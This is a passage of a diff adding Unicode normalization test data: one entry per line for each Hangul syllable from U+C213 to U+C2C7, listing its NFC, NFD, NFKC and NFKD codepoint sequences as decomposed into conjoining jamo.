+{ source: [0xC213], NFC: [0xC213], NFD: [0x1109, 0x116D, 0x11BE], NFKC: [0xC213], NFKD: [0x1109, 0x116D, 0x11BE] },
+{ source: [0xC214], NFC: [0xC214], NFD: [0x1109, 0x116D, 0x11BF], NFKC: [0xC214], NFKD: [0x1109, 0x116D, 0x11BF] },
+{ source: [0xC215], NFC: [0xC215], NFD: [0x1109, 0x116D, 0x11C0], NFKC: [0xC215], NFKD: [0x1109, 0x116D, 0x11C0] },
+{ source: [0xC216], NFC: [0xC216], NFD: [0x1109, 0x116D, 0x11C1], NFKC: [0xC216], NFKD: [0x1109, 0x116D, 0x11C1] },
+{ source: [0xC217], NFC: [0xC217], NFD: [0x1109, 0x116D, 0x11C2], NFKC: [0xC217], NFKD: [0x1109, 0x116D, 0x11C2] },
+{ source: [0xC218], NFC: [0xC218], NFD: [0x1109, 0x116E], NFKC: [0xC218], NFKD: [0x1109, 0x116E] },
+{ source: [0xC219], NFC: [0xC219], NFD: [0x1109, 0x116E, 0x11A8], NFKC: [0xC219], NFKD: [0x1109, 0x116E, 0x11A8] },
+{ source: [0xC21A], NFC: [0xC21A], NFD: [0x1109, 0x116E, 0x11A9], NFKC: [0xC21A], NFKD: [0x1109, 0x116E, 0x11A9] },
+{ source: [0xC21B], NFC: [0xC21B], NFD: [0x1109, 0x116E, 0x11AA], NFKC: [0xC21B], NFKD: [0x1109, 0x116E, 0x11AA] },
+{ source: [0xC21C], NFC: [0xC21C], NFD: [0x1109, 0x116E, 0x11AB], NFKC: [0xC21C], NFKD: [0x1109, 0x116E, 0x11AB] },
+{ source: [0xC21D], NFC: [0xC21D], NFD: [0x1109, 0x116E, 0x11AC], NFKC: [0xC21D], NFKD: [0x1109, 0x116E, 0x11AC] },
+{ source: [0xC21E], NFC: [0xC21E], NFD: [0x1109, 0x116E, 0x11AD], NFKC: [0xC21E], NFKD: [0x1109, 0x116E, 0x11AD] },
+{ source: [0xC21F], NFC: [0xC21F], NFD: [0x1109, 0x116E, 0x11AE], NFKC: [0xC21F], NFKD: [0x1109, 0x116E, 0x11AE] },
+{ source: [0xC220], NFC: [0xC220], NFD: [0x1109, 0x116E, 0x11AF], NFKC: [0xC220], NFKD: [0x1109, 0x116E, 0x11AF] },
+{ source: [0xC221], NFC: [0xC221], NFD: [0x1109, 0x116E, 0x11B0], NFKC: [0xC221], NFKD: [0x1109, 0x116E, 0x11B0] },
+{ source: [0xC222], NFC: [0xC222], NFD: [0x1109, 0x116E, 0x11B1], NFKC: [0xC222], NFKD: [0x1109, 0x116E, 0x11B1] },
+{ source: [0xC223], NFC: [0xC223], NFD: [0x1109, 0x116E, 0x11B2], NFKC: [0xC223], NFKD: [0x1109, 0x116E, 0x11B2] },
+{ source: [0xC224], NFC: [0xC224], NFD: [0x1109, 0x116E, 0x11B3], NFKC: [0xC224], NFKD: [0x1109, 0x116E, 0x11B3] },
+{ source: [0xC225], NFC: [0xC225], NFD: [0x1109, 0x116E, 0x11B4], NFKC: [0xC225], NFKD: [0x1109, 0x116E, 0x11B4] },
+{ source: [0xC226], NFC: [0xC226], NFD: [0x1109, 0x116E, 0x11B5], NFKC: [0xC226], NFKD: [0x1109, 0x116E, 0x11B5] },
+{ source: [0xC227], NFC: [0xC227], NFD: [0x1109, 0x116E, 0x11B6], NFKC: [0xC227], NFKD: [0x1109, 0x116E, 0x11B6] },
+{ source: [0xC228], NFC: [0xC228], NFD: [0x1109, 0x116E, 0x11B7], NFKC: [0xC228], NFKD: [0x1109, 0x116E, 0x11B7] },
+{ source: [0xC229], NFC: [0xC229], NFD: [0x1109, 0x116E, 0x11B8], NFKC: [0xC229], NFKD: [0x1109, 0x116E, 0x11B8] },
+{ source: [0xC22A], NFC: [0xC22A], NFD: [0x1109, 0x116E, 0x11B9], NFKC: [0xC22A], NFKD: [0x1109, 0x116E, 0x11B9] },
+{ source: [0xC22B], NFC: [0xC22B], NFD: [0x1109, 0x116E, 0x11BA], NFKC: [0xC22B], NFKD: [0x1109, 0x116E, 0x11BA] },
+{ source: [0xC22C], NFC: [0xC22C], NFD: [0x1109, 0x116E, 0x11BB], NFKC: [0xC22C], NFKD: [0x1109, 0x116E, 0x11BB] },
+{ source: [0xC22D], NFC: [0xC22D], NFD: [0x1109, 0x116E, 0x11BC], NFKC: [0xC22D], NFKD: [0x1109, 0x116E, 0x11BC] },
+{ source: [0xC22E], NFC: [0xC22E], NFD: [0x1109, 0x116E, 0x11BD], NFKC: [0xC22E], NFKD: [0x1109, 0x116E, 0x11BD] },
+{ source: [0xC22F], NFC: [0xC22F], NFD: [0x1109, 0x116E, 0x11BE], NFKC: [0xC22F], NFKD: [0x1109, 0x116E, 0x11BE] },
+{ source: [0xC230], NFC: [0xC230], NFD: [0x1109, 0x116E, 0x11BF], NFKC: [0xC230], NFKD: [0x1109, 0x116E, 0x11BF] },
+{ source: [0xC231], NFC: [0xC231], NFD: [0x1109, 0x116E, 0x11C0], NFKC: [0xC231], NFKD: [0x1109, 0x116E, 0x11C0] },
+{ source: [0xC232], NFC: [0xC232], NFD: [0x1109, 0x116E, 0x11C1], NFKC: [0xC232], NFKD: [0x1109, 0x116E, 0x11C1] },
+{ source: [0xC233], NFC: [0xC233], NFD: [0x1109, 0x116E, 0x11C2], NFKC: [0xC233], NFKD: [0x1109, 0x116E, 0x11C2] },
+{ source: [0xC234], NFC: [0xC234], NFD: [0x1109, 0x116F], NFKC: [0xC234], NFKD: [0x1109, 0x116F] },
+{ source: [0xC235], NFC: [0xC235], NFD: [0x1109, 0x116F, 0x11A8], NFKC: [0xC235], NFKD: [0x1109, 0x116F, 0x11A8] },
+{ source: [0xC236], NFC: [0xC236], NFD: [0x1109, 0x116F, 0x11A9], NFKC: [0xC236], NFKD: [0x1109, 0x116F, 0x11A9] },
+{ source: [0xC237], NFC: [0xC237], NFD: [0x1109, 0x116F, 0x11AA], NFKC: [0xC237], NFKD: [0x1109, 0x116F, 0x11AA] },
+{ source: [0xC238], NFC: [0xC238], NFD: [0x1109, 0x116F, 0x11AB], NFKC: [0xC238], NFKD: [0x1109, 0x116F, 0x11AB] },
+{ source: [0xC239], NFC: [0xC239], NFD: [0x1109, 0x116F, 0x11AC], NFKC: [0xC239], NFKD: [0x1109, 0x116F, 0x11AC] },
+{ source: [0xC23A], NFC: [0xC23A], NFD: [0x1109, 0x116F, 0x11AD], NFKC: [0xC23A], NFKD: [0x1109, 0x116F, 0x11AD] },
+{ source: [0xC23B], NFC: [0xC23B], NFD: [0x1109, 0x116F, 0x11AE], NFKC: [0xC23B], NFKD: [0x1109, 0x116F, 0x11AE] },
+{ source: [0xC23C], NFC: [0xC23C], NFD: [0x1109, 0x116F, 0x11AF], NFKC: [0xC23C], NFKD: [0x1109, 0x116F, 0x11AF] },
+{ source: [0xC23D], NFC: [0xC23D], NFD: [0x1109, 0x116F, 0x11B0], NFKC: [0xC23D], NFKD: [0x1109, 0x116F, 0x11B0] },
+{ source: [0xC23E], NFC: [0xC23E], NFD: [0x1109, 0x116F, 0x11B1], NFKC: [0xC23E], NFKD: [0x1109, 0x116F, 0x11B1] },
+{ source: [0xC23F], NFC: [0xC23F], NFD: [0x1109, 0x116F, 0x11B2], NFKC: [0xC23F], NFKD: [0x1109, 0x116F, 0x11B2] },
+{ source: [0xC240], NFC: [0xC240], NFD: [0x1109, 0x116F, 0x11B3], NFKC: [0xC240], NFKD: [0x1109, 0x116F, 0x11B3] },
+{ source: [0xC241], NFC: [0xC241], NFD: [0x1109, 0x116F, 0x11B4], NFKC: [0xC241], NFKD: [0x1109, 0x116F, 0x11B4] },
+{ source: [0xC242], NFC: [0xC242], NFD: [0x1109, 0x116F, 0x11B5], NFKC: [0xC242], NFKD: [0x1109, 0x116F, 0x11B5] },
+{ source: [0xC243], NFC: [0xC243], NFD: [0x1109, 0x116F, 0x11B6], NFKC: [0xC243], NFKD: [0x1109, 0x116F, 0x11B6] },
+{ source: [0xC244], NFC: [0xC244], NFD: [0x1109, 0x116F, 0x11B7], NFKC: [0xC244], NFKD: [0x1109, 0x116F, 0x11B7] },
+{ source: [0xC245], NFC: [0xC245], NFD: [0x1109, 0x116F, 0x11B8], NFKC: [0xC245], NFKD: [0x1109, 0x116F, 0x11B8] },
+{ source: [0xC246], NFC: [0xC246], NFD: [0x1109, 0x116F, 0x11B9], NFKC: [0xC246], NFKD: [0x1109, 0x116F, 0x11B9] },
+{ source: [0xC247], NFC: [0xC247], NFD: [0x1109, 0x116F, 0x11BA], NFKC: [0xC247], NFKD: [0x1109, 0x116F, 0x11BA] },
+{ source: [0xC248], NFC: [0xC248], NFD: [0x1109, 0x116F, 0x11BB], NFKC: [0xC248], NFKD: [0x1109, 0x116F, 0x11BB] },
+{ source: [0xC249], NFC: [0xC249], NFD: [0x1109, 0x116F, 0x11BC], NFKC: [0xC249], NFKD: [0x1109, 0x116F, 0x11BC] },
+{ source: [0xC24A], NFC: [0xC24A], NFD: [0x1109, 0x116F, 0x11BD], NFKC: [0xC24A], NFKD: [0x1109, 0x116F, 0x11BD] },
+{ source: [0xC24B], NFC: [0xC24B], NFD: [0x1109, 0x116F, 0x11BE], NFKC: [0xC24B], NFKD: [0x1109, 0x116F, 0x11BE] },
+{ source: [0xC24C], NFC: [0xC24C], NFD: [0x1109, 0x116F, 0x11BF], NFKC: [0xC24C], NFKD: [0x1109, 0x116F, 0x11BF] },
+{ source: [0xC24D], NFC: [0xC24D], NFD: [0x1109, 0x116F, 0x11C0], NFKC: [0xC24D], NFKD: [0x1109, 0x116F, 0x11C0] },
+{ source: [0xC24E], NFC: [0xC24E], NFD: [0x1109, 0x116F, 0x11C1], NFKC: [0xC24E], NFKD: [0x1109, 0x116F, 0x11C1] },
+{ source: [0xC24F], NFC: [0xC24F], NFD: [0x1109, 0x116F, 0x11C2], NFKC: [0xC24F], NFKD: [0x1109, 0x116F, 0x11C2] },
+{ source: [0xC250], NFC: [0xC250], NFD: [0x1109, 0x1170], NFKC: [0xC250], NFKD: [0x1109, 0x1170] },
+{ source: [0xC251], NFC: [0xC251], NFD: [0x1109, 0x1170, 0x11A8], NFKC: [0xC251], NFKD: [0x1109, 0x1170, 0x11A8] },
+{ source: [0xC252], NFC: [0xC252], NFD: [0x1109, 0x1170, 0x11A9], NFKC: [0xC252], NFKD: [0x1109, 0x1170, 0x11A9] },
+{ source: [0xC253], NFC: [0xC253], NFD: [0x1109, 0x1170, 0x11AA], NFKC: [0xC253], NFKD: [0x1109, 0x1170, 0x11AA] },
+{ source: [0xC254], NFC: [0xC254], NFD: [0x1109, 0x1170, 0x11AB], NFKC: [0xC254], NFKD: [0x1109, 0x1170, 0x11AB] },
+{ source: [0xC255], NFC: [0xC255], NFD: [0x1109, 0x1170, 0x11AC], NFKC: [0xC255], NFKD: [0x1109, 0x1170, 0x11AC] },
+{ source: [0xC256], NFC: [0xC256], NFD: [0x1109, 0x1170, 0x11AD], NFKC: [0xC256], NFKD: [0x1109, 0x1170, 0x11AD] },
+{ source: [0xC257], NFC: [0xC257], NFD: [0x1109, 0x1170, 0x11AE], NFKC: [0xC257], NFKD: [0x1109, 0x1170, 0x11AE] },
+{ source: [0xC258], NFC: [0xC258], NFD: [0x1109, 0x1170, 0x11AF], NFKC: [0xC258], NFKD: [0x1109, 0x1170, 0x11AF] },
+{ source: [0xC259], NFC: [0xC259], NFD: [0x1109, 0x1170, 0x11B0], NFKC: [0xC259], NFKD: [0x1109, 0x1170, 0x11B0] },
+{ source: [0xC25A], NFC: [0xC25A], NFD: [0x1109, 0x1170, 0x11B1], NFKC: [0xC25A], NFKD: [0x1109, 0x1170, 0x11B1] },
+{ source: [0xC25B], NFC: [0xC25B], NFD: [0x1109, 0x1170, 0x11B2], NFKC: [0xC25B], NFKD: [0x1109, 0x1170, 0x11B2] },
+{ source: [0xC25C], NFC: [0xC25C], NFD: [0x1109, 0x1170, 0x11B3], NFKC: [0xC25C], NFKD: [0x1109, 0x1170, 0x11B3] },
+{ source: [0xC25D], NFC: [0xC25D], NFD: [0x1109, 0x1170, 0x11B4], NFKC: [0xC25D], NFKD: [0x1109, 0x1170, 0x11B4] },
+{ source: [0xC25E], NFC: [0xC25E], NFD: [0x1109, 0x1170, 0x11B5], NFKC: [0xC25E], NFKD: [0x1109, 0x1170, 0x11B5] },
+{ source: [0xC25F], NFC: [0xC25F], NFD: [0x1109, 0x1170, 0x11B6], NFKC: [0xC25F], NFKD: [0x1109, 0x1170, 0x11B6] },
+{ source: [0xC260], NFC: [0xC260], NFD: [0x1109, 0x1170, 0x11B7], NFKC: [0xC260], NFKD: [0x1109, 0x1170, 0x11B7] },
+{ source: [0xC261], NFC: [0xC261], NFD: [0x1109, 0x1170, 0x11B8], NFKC: [0xC261], NFKD: [0x1109, 0x1170, 0x11B8] },
+{ source: [0xC262], NFC: [0xC262], NFD: [0x1109, 0x1170, 0x11B9], NFKC: [0xC262], NFKD: [0x1109, 0x1170, 0x11B9] },
+{ source: [0xC263], NFC: [0xC263], NFD: [0x1109, 0x1170, 0x11BA], NFKC: [0xC263], NFKD: [0x1109, 0x1170, 0x11BA] },
+{ source: [0xC264], NFC: [0xC264], NFD: [0x1109, 0x1170, 0x11BB], NFKC: [0xC264], NFKD: [0x1109, 0x1170, 0x11BB] },
+{ source: [0xC265], NFC: [0xC265], NFD: [0x1109, 0x1170, 0x11BC], NFKC: [0xC265], NFKD: [0x1109, 0x1170, 0x11BC] },
+{ source: [0xC266], NFC: [0xC266], NFD: [0x1109, 0x1170, 0x11BD], NFKC: [0xC266], NFKD: [0x1109, 0x1170, 0x11BD] },
+{ source: [0xC267], NFC: [0xC267], NFD: [0x1109, 0x1170, 0x11BE], NFKC: [0xC267], NFKD: [0x1109, 0x1170, 0x11BE] },
+{ source: [0xC268], NFC: [0xC268], NFD: [0x1109, 0x1170, 0x11BF], NFKC: [0xC268], NFKD: [0x1109, 0x1170, 0x11BF] },
+{ source: [0xC269], NFC: [0xC269], NFD: [0x1109, 0x1170, 0x11C0], NFKC: [0xC269], NFKD: [0x1109, 0x1170, 0x11C0] },
+{ source: [0xC26A], NFC: [0xC26A], NFD: [0x1109, 0x1170, 0x11C1], NFKC: [0xC26A], NFKD: [0x1109, 0x1170, 0x11C1] },
+{ source: [0xC26B], NFC: [0xC26B], NFD: [0x1109, 0x1170, 0x11C2], NFKC: [0xC26B], NFKD: [0x1109, 0x1170, 0x11C2] },
+{ source: [0xC26C], NFC: [0xC26C], NFD: [0x1109, 0x1171], NFKC: [0xC26C], NFKD: [0x1109, 0x1171] },
+{ source: [0xC26D], NFC: [0xC26D], NFD: [0x1109, 0x1171, 0x11A8], NFKC: [0xC26D], NFKD: [0x1109, 0x1171, 0x11A8] },
+{ source: [0xC26E], NFC: [0xC26E], NFD: [0x1109, 0x1171, 0x11A9], NFKC: [0xC26E], NFKD: [0x1109, 0x1171, 0x11A9] },
+{ source: [0xC26F], NFC: [0xC26F], NFD: [0x1109, 0x1171, 0x11AA], NFKC: [0xC26F], NFKD: [0x1109, 0x1171, 0x11AA] },
+{ source: [0xC270], NFC: [0xC270], NFD: [0x1109, 0x1171, 0x11AB], NFKC: [0xC270], NFKD: [0x1109, 0x1171, 0x11AB] },
+{ source: [0xC271], NFC: [0xC271], NFD: [0x1109, 0x1171, 0x11AC], NFKC: [0xC271], NFKD: [0x1109, 0x1171, 0x11AC] },
+{ source: [0xC272], NFC: [0xC272], NFD: [0x1109, 0x1171, 0x11AD], NFKC: [0xC272], NFKD: [0x1109, 0x1171, 0x11AD] },
+{ source: [0xC273], NFC: [0xC273], NFD: [0x1109, 0x1171, 0x11AE], NFKC: [0xC273], NFKD: [0x1109, 0x1171, 0x11AE] },
+{ source: [0xC274], NFC: [0xC274], NFD: [0x1109, 0x1171, 0x11AF], NFKC: [0xC274], NFKD: [0x1109, 0x1171, 0x11AF] },
+{ source: [0xC275], NFC: [0xC275], NFD: [0x1109, 0x1171, 0x11B0], NFKC: [0xC275], NFKD: [0x1109, 0x1171, 0x11B0] },
+{ source: [0xC276], NFC: [0xC276], NFD: [0x1109, 0x1171, 0x11B1], NFKC: [0xC276], NFKD: [0x1109, 0x1171, 0x11B1] },
+{ source: [0xC277], NFC: [0xC277], NFD: [0x1109, 0x1171, 0x11B2], NFKC: [0xC277], NFKD: [0x1109, 0x1171, 0x11B2] },
+{ source: [0xC278], NFC: [0xC278], NFD: [0x1109, 0x1171, 0x11B3], NFKC: [0xC278], NFKD: [0x1109, 0x1171, 0x11B3] },
+{ source: [0xC279], NFC: [0xC279], NFD: [0x1109, 0x1171, 0x11B4], NFKC: [0xC279], NFKD: [0x1109, 0x1171, 0x11B4] },
+{ source: [0xC27A], NFC: [0xC27A], NFD: [0x1109, 0x1171, 0x11B5], NFKC: [0xC27A], NFKD: [0x1109, 0x1171, 0x11B5] },
+{ source: [0xC27B], NFC: [0xC27B], NFD: [0x1109, 0x1171, 0x11B6], NFKC: [0xC27B], NFKD: [0x1109, 0x1171, 0x11B6] },
+{ source: [0xC27C], NFC: [0xC27C], NFD: [0x1109, 0x1171, 0x11B7], NFKC: [0xC27C], NFKD: [0x1109, 0x1171, 0x11B7] },
+{ source: [0xC27D], NFC: [0xC27D], NFD: [0x1109, 0x1171, 0x11B8], NFKC: [0xC27D], NFKD: [0x1109, 0x1171, 0x11B8] },
+{ source: [0xC27E], NFC: [0xC27E], NFD: [0x1109, 0x1171, 0x11B9], NFKC: [0xC27E], NFKD: [0x1109, 0x1171, 0x11B9] },
+{ source: [0xC27F], NFC: [0xC27F], NFD: [0x1109, 0x1171, 0x11BA], NFKC: [0xC27F], NFKD: [0x1109, 0x1171, 0x11BA] },
+{ source: [0xC280], NFC: [0xC280], NFD: [0x1109, 0x1171, 0x11BB], NFKC: [0xC280], NFKD: [0x1109, 0x1171, 0x11BB] },
+{ source: [0xC281], NFC: [0xC281], NFD: [0x1109, 0x1171, 0x11BC], NFKC: [0xC281], NFKD: [0x1109, 0x1171, 0x11BC] },
+{ source: [0xC282], NFC: [0xC282], NFD: [0x1109, 0x1171, 0x11BD], NFKC: [0xC282], NFKD: [0x1109, 0x1171, 0x11BD] },
+{ source: [0xC283], NFC: [0xC283], NFD: [0x1109, 0x1171, 0x11BE], NFKC: [0xC283], NFKD: [0x1109, 0x1171, 0x11BE] },
+{ source: [0xC284], NFC: [0xC284], NFD: [0x1109, 0x1171, 0x11BF], NFKC: [0xC284], NFKD: [0x1109, 0x1171, 0x11BF] },
+{ source: [0xC285], NFC: [0xC285], NFD: [0x1109, 0x1171, 0x11C0], NFKC: [0xC285], NFKD: [0x1109, 0x1171, 0x11C0] },
+{ source: [0xC286], NFC: [0xC286], NFD: [0x1109, 0x1171, 0x11C1], NFKC: [0xC286], NFKD: [0x1109, 0x1171, 0x11C1] },
+{ source: [0xC287], NFC: [0xC287], NFD: [0x1109, 0x1171, 0x11C2], NFKC: [0xC287], NFKD: [0x1109, 0x1171, 0x11C2] },
+{ source: [0xC288], NFC: [0xC288], NFD: [0x1109, 0x1172], NFKC: [0xC288], NFKD: [0x1109, 0x1172] },
+{ source: [0xC289], NFC: [0xC289], NFD: [0x1109, 0x1172, 0x11A8], NFKC: [0xC289], NFKD: [0x1109, 0x1172, 0x11A8] },
+{ source: [0xC28A], NFC: [0xC28A], NFD: [0x1109, 0x1172, 0x11A9], NFKC: [0xC28A], NFKD: [0x1109, 0x1172, 0x11A9] },
+{ source: [0xC28B], NFC: [0xC28B], NFD: [0x1109, 0x1172, 0x11AA], NFKC: [0xC28B], NFKD: [0x1109, 0x1172, 0x11AA] },
+{ source: [0xC28C], NFC: [0xC28C], NFD: [0x1109, 0x1172, 0x11AB], NFKC: [0xC28C], NFKD: [0x1109, 0x1172, 0x11AB] },
+{ source: [0xC28D], NFC: [0xC28D], NFD: [0x1109, 0x1172, 0x11AC], NFKC: [0xC28D], NFKD: [0x1109, 0x1172, 0x11AC] },
+{ source: [0xC28E], NFC: [0xC28E], NFD: [0x1109, 0x1172, 0x11AD], NFKC: [0xC28E], NFKD: [0x1109, 0x1172, 0x11AD] },
+{ source: [0xC28F], NFC: [0xC28F], NFD: [0x1109, 0x1172, 0x11AE], NFKC: [0xC28F], NFKD: [0x1109, 0x1172, 0x11AE] },
+{ source: [0xC290], NFC: [0xC290], NFD: [0x1109, 0x1172, 0x11AF], NFKC: [0xC290], NFKD: [0x1109, 0x1172, 0x11AF] },
+{ source: [0xC291], NFC: [0xC291], NFD: [0x1109, 0x1172, 0x11B0], NFKC: [0xC291], NFKD: [0x1109, 0x1172, 0x11B0] },
+{ source: [0xC292], NFC: [0xC292], NFD: [0x1109, 0x1172, 0x11B1], NFKC: [0xC292], NFKD: [0x1109, 0x1172, 0x11B1] },
+{ source: [0xC293], NFC: [0xC293], NFD: [0x1109, 0x1172, 0x11B2], NFKC: [0xC293], NFKD: [0x1109, 0x1172, 0x11B2] },
+{ source: [0xC294], NFC: [0xC294], NFD: [0x1109, 0x1172, 0x11B3], NFKC: [0xC294], NFKD: [0x1109, 0x1172, 0x11B3] },
+{ source: [0xC295], NFC: [0xC295], NFD: [0x1109, 0x1172, 0x11B4], NFKC: [0xC295], NFKD: [0x1109, 0x1172, 0x11B4] },
+{ source: [0xC296], NFC: [0xC296], NFD: [0x1109, 0x1172, 0x11B5], NFKC: [0xC296], NFKD: [0x1109, 0x1172, 0x11B5] },
+{ source: [0xC297], NFC: [0xC297], NFD: [0x1109, 0x1172, 0x11B6], NFKC: [0xC297], NFKD: [0x1109, 0x1172, 0x11B6] },
+{ source: [0xC298], NFC: [0xC298], NFD: [0x1109, 0x1172, 0x11B7], NFKC: [0xC298], NFKD: [0x1109, 0x1172, 0x11B7] },
+{ source: [0xC299], NFC: [0xC299], NFD: [0x1109, 0x1172, 0x11B8], NFKC: [0xC299], NFKD: [0x1109, 0x1172, 0x11B8] },
+{ source: [0xC29A], NFC: [0xC29A], NFD: [0x1109, 0x1172, 0x11B9], NFKC: [0xC29A], NFKD: [0x1109, 0x1172, 0x11B9] },
+{ source: [0xC29B], NFC: [0xC29B], NFD: [0x1109, 0x1172, 0x11BA], NFKC: [0xC29B], NFKD: [0x1109, 0x1172, 0x11BA] },
+{ source: [0xC29C], NFC: [0xC29C], NFD: [0x1109, 0x1172, 0x11BB], NFKC: [0xC29C], NFKD: [0x1109, 0x1172, 0x11BB] },
+{ source: [0xC29D], NFC: [0xC29D], NFD: [0x1109, 0x1172, 0x11BC], NFKC: [0xC29D], NFKD: [0x1109, 0x1172, 0x11BC] },
+{ source: [0xC29E], NFC: [0xC29E], NFD: [0x1109, 0x1172, 0x11BD], NFKC: [0xC29E], NFKD: [0x1109, 0x1172, 0x11BD] },
+{ source: [0xC29F], NFC: [0xC29F], NFD: [0x1109, 0x1172, 0x11BE], NFKC: [0xC29F], NFKD: [0x1109, 0x1172, 0x11BE] },
+{ source: [0xC2A0], NFC: [0xC2A0], NFD: [0x1109, 0x1172, 0x11BF], NFKC: [0xC2A0], NFKD: [0x1109, 0x1172, 0x11BF] },
+{ source: [0xC2A1], NFC: [0xC2A1], NFD: [0x1109, 0x1172, 0x11C0], NFKC: [0xC2A1], NFKD: [0x1109, 0x1172, 0x11C0] },
+{ source: [0xC2A2], NFC: [0xC2A2], NFD: [0x1109, 0x1172, 0x11C1], NFKC: [0xC2A2], NFKD: [0x1109, 0x1172, 0x11C1] },
+{ source: [0xC2A3], NFC: [0xC2A3], NFD: [0x1109, 0x1172, 0x11C2], NFKC: [0xC2A3], NFKD: [0x1109, 0x1172, 0x11C2] },
+{ source: [0xC2A4], NFC: [0xC2A4], NFD: [0x1109, 0x1173], NFKC: [0xC2A4], NFKD: [0x1109, 0x1173] },
+{ source: [0xC2A5], NFC: [0xC2A5], NFD: [0x1109, 0x1173, 0x11A8], NFKC: [0xC2A5], NFKD: [0x1109, 0x1173, 0x11A8] },
+{ source: [0xC2A6], NFC: [0xC2A6], NFD: [0x1109, 0x1173, 0x11A9], NFKC: [0xC2A6], NFKD: [0x1109, 0x1173, 0x11A9] },
+{ source: [0xC2A7], NFC: [0xC2A7], NFD: [0x1109, 0x1173, 0x11AA], NFKC: [0xC2A7], NFKD: [0x1109, 0x1173, 0x11AA] },
+{ source: [0xC2A8], NFC: [0xC2A8], NFD: [0x1109, 0x1173, 0x11AB], NFKC: [0xC2A8], NFKD: [0x1109, 0x1173, 0x11AB] },
+{ source: [0xC2A9], NFC: [0xC2A9], NFD: [0x1109, 0x1173, 0x11AC], NFKC: [0xC2A9], NFKD: [0x1109, 0x1173, 0x11AC] },
+{ source: [0xC2AA], NFC: [0xC2AA], NFD: [0x1109, 0x1173, 0x11AD], NFKC: [0xC2AA], NFKD: [0x1109, 0x1173, 0x11AD] },
+{ source: [0xC2AB], NFC: [0xC2AB], NFD: [0x1109, 0x1173, 0x11AE], NFKC: [0xC2AB], NFKD: [0x1109, 0x1173, 0x11AE] },
+{ source: [0xC2AC], NFC: [0xC2AC], NFD: [0x1109, 0x1173, 0x11AF], NFKC: [0xC2AC], NFKD: [0x1109, 0x1173, 0x11AF] },
+{ source: [0xC2AD], NFC: [0xC2AD], NFD: [0x1109, 0x1173, 0x11B0], NFKC: [0xC2AD], NFKD: [0x1109, 0x1173, 0x11B0] },
+{ source: [0xC2AE], NFC: [0xC2AE], NFD: [0x1109, 0x1173, 0x11B1], NFKC: [0xC2AE], NFKD: [0x1109, 0x1173, 0x11B1] },
+{ source: [0xC2AF], NFC: [0xC2AF], NFD: [0x1109, 0x1173, 0x11B2], NFKC: [0xC2AF], NFKD: [0x1109, 0x1173, 0x11B2] },
+{ source: [0xC2B0], NFC: [0xC2B0], NFD: [0x1109, 0x1173, 0x11B3], NFKC: [0xC2B0], NFKD: [0x1109, 0x1173, 0x11B3] },
+{ source: [0xC2B1], NFC: [0xC2B1], NFD: [0x1109, 0x1173, 0x11B4], NFKC: [0xC2B1], NFKD: [0x1109, 0x1173, 0x11B4] },
+{ source: [0xC2B2], NFC: [0xC2B2], NFD: [0x1109, 0x1173, 0x11B5], NFKC: [0xC2B2], NFKD: [0x1109, 0x1173, 0x11B5] },
+{ source: [0xC2B3], NFC: [0xC2B3], NFD: [0x1109, 0x1173, 0x11B6], NFKC: [0xC2B3], NFKD: [0x1109, 0x1173, 0x11B6] },
+{ source: [0xC2B4], NFC: [0xC2B4], NFD: [0x1109, 0x1173, 0x11B7], NFKC: [0xC2B4], NFKD: [0x1109, 0x1173, 0x11B7] },
+{ source: [0xC2B5], NFC: [0xC2B5], NFD: [0x1109, 0x1173, 0x11B8], NFKC: [0xC2B5], NFKD: [0x1109, 0x1173, 0x11B8] },
+{ source: [0xC2B6], NFC: [0xC2B6], NFD: [0x1109, 0x1173, 0x11B9], NFKC: [0xC2B6], NFKD: [0x1109, 0x1173, 0x11B9] },
+{ source: [0xC2B7], NFC: [0xC2B7], NFD: [0x1109, 0x1173, 0x11BA], NFKC: [0xC2B7], NFKD: [0x1109, 0x1173, 0x11BA] },
+{ source: [0xC2B8], NFC: [0xC2B8], NFD: [0x1109, 0x1173, 0x11BB], NFKC: [0xC2B8], NFKD: [0x1109, 0x1173, 0x11BB] },
+{ source: [0xC2B9], NFC: [0xC2B9], NFD: [0x1109, 0x1173, 0x11BC], NFKC: [0xC2B9], NFKD: [0x1109, 0x1173, 0x11BC] },
+{ source: [0xC2BA], NFC: [0xC2BA], NFD: [0x1109, 0x1173, 0x11BD], NFKC: [0xC2BA], NFKD: [0x1109, 0x1173, 0x11BD] },
+{ source: [0xC2BB], NFC: [0xC2BB], NFD: [0x1109, 0x1173, 0x11BE], NFKC: [0xC2BB], NFKD: [0x1109, 0x1173, 0x11BE] },
+{ source: [0xC2BC], NFC: [0xC2BC], NFD: [0x1109, 0x1173, 0x11BF], NFKC: [0xC2BC], NFKD: [0x1109, 0x1173, 0x11BF] },
+{ source: [0xC2BD], NFC: [0xC2BD], NFD: [0x1109, 0x1173, 0x11C0], NFKC: [0xC2BD], NFKD: [0x1109, 0x1173, 0x11C0] },
+{ source: [0xC2BE], NFC: [0xC2BE], NFD: [0x1109, 0x1173, 0x11C1], NFKC: [0xC2BE], NFKD: [0x1109, 0x1173, 0x11C1] },
+{ source: [0xC2BF], NFC: [0xC2BF], NFD: [0x1109, 0x1173, 0x11C2], NFKC: [0xC2BF], NFKD: [0x1109, 0x1173, 0x11C2] },
+{ source: [0xC2C0], NFC: [0xC2C0], NFD: [0x1109, 0x1174], NFKC: [0xC2C0], NFKD: [0x1109, 0x1174] },
+{ source: [0xC2C1], NFC: [0xC2C1], NFD: [0x1109, 0x1174, 0x11A8], NFKC: [0xC2C1], NFKD: [0x1109, 0x1174, 0x11A8] },
+{ source: [0xC2C2], NFC: [0xC2C2], NFD: [0x1109, 0x1174, 0x11A9], NFKC: [0xC2C2], NFKD: [0x1109, 0x1174, 0x11A9] },
+{ source: [0xC2C3], NFC: [0xC2C3], NFD: [0x1109, 0x1174, 0x11AA], NFKC: [0xC2C3], NFKD: [0x1109, 0x1174, 0x11AA] },
+{ source: [0xC2C4], NFC: [0xC2C4], NFD: [0x1109, 0x1174, 0x11AB], NFKC: [0xC2C4], NFKD: [0x1109, 0x1174, 0x11AB] },
+{ source: [0xC2C5], NFC: [0xC2C5], NFD: [0x1109, 0x1174, 0x11AC], NFKC: [0xC2C5], NFKD: [0x1109, 0x1174, 0x11AC] },
+{ source: [0xC2C6], NFC: [0xC2C6], NFD: [0x1109, 0x1174, 0x11AD], NFKC: [0xC2C6], NFKD: [0x1109, 0x1174, 0x11AD] },
+{ source: [0xC2C7], NFC: [0xC2C7], NFD: [0x1109, 0x1174, 0x11AE], NFKC: [0xC2C7], NFKD: [0x1109, 0x1174, 0x11AE] },
